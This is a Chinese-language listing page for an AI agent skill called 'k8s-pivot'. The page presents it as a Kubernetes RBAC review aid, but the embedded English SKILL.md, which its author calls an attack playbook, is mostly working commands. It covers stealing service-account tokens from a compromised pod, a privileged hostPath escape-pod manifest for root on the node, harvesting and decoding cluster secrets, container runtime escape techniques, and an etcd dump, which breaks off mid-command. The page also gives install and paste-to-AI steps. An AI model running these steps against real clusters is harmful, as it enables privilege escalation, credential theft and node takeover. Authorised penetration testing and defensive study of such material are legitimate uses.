安全6.5k · #13999
k8s-pivot
它能做什么
这项技能涵盖 Kubernetes 集群内的权限如何让容器触及更多资源。适合审查集群角色设置的平台团队。
适用场景
- ✓当授权测试只能访问某个 Pod,并需要查看集群允许哪些操作时。
- ✓当你想审查角色绑定和特权 Pod 时。
- ✓当团队需要知道哪些主机挂载或仪表板会增加风险时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md
阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
npx skills add BitterSecurity/Decepticon --skill k8s-pivot
下载 SKILL.md,放进智能体的技能文件夹。
curl -L https://raw.githubusercontent.com/BitterSecurity/Decepticon/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md -o SKILL.md
可以这样问 AI
“请帮我审查,我们 Kubernetes 集群中某个 Pod 的服务账户能做什么,并标记有风险的权限?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体列出该服务账户持有的权限,检查集群范围内的权限,并标记高风险的动词和资源。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod → steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV → read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
4. Pod escape — host root via hostPath
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
5. Secrets harvest
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
6. Container runtime escapes (when you have privileged pod or specific caps)
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod |
docker exec on host containers → host root |
/run/containerd/containerd.sock |
ctr cmd → escape |
CAP_SYS_ADMIN w/o user namespace |
Mount syscall → reread cgroups → release_agent |
CAP_SYS_PTRACE |
Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH |
Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
7. Pivoting from the API server
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/et
常见问题
哪些权限风险最高?
该技能指出,创建 Pod、读取机密和修改角色绑定的权限影响最大。
特权 Pod 是否意味着主机已被攻陷?
不一定。该技能指出,这类设置只是背景信息,准入控制可能会阻断这条路径。
谁应该使用这项技能?
审查基于角色的访问设置的平台管理员和集群管理员。
详情
作者的原始描述
Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
热度
- GitHub 星标
- 6.5k
- 排名
- #13999
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …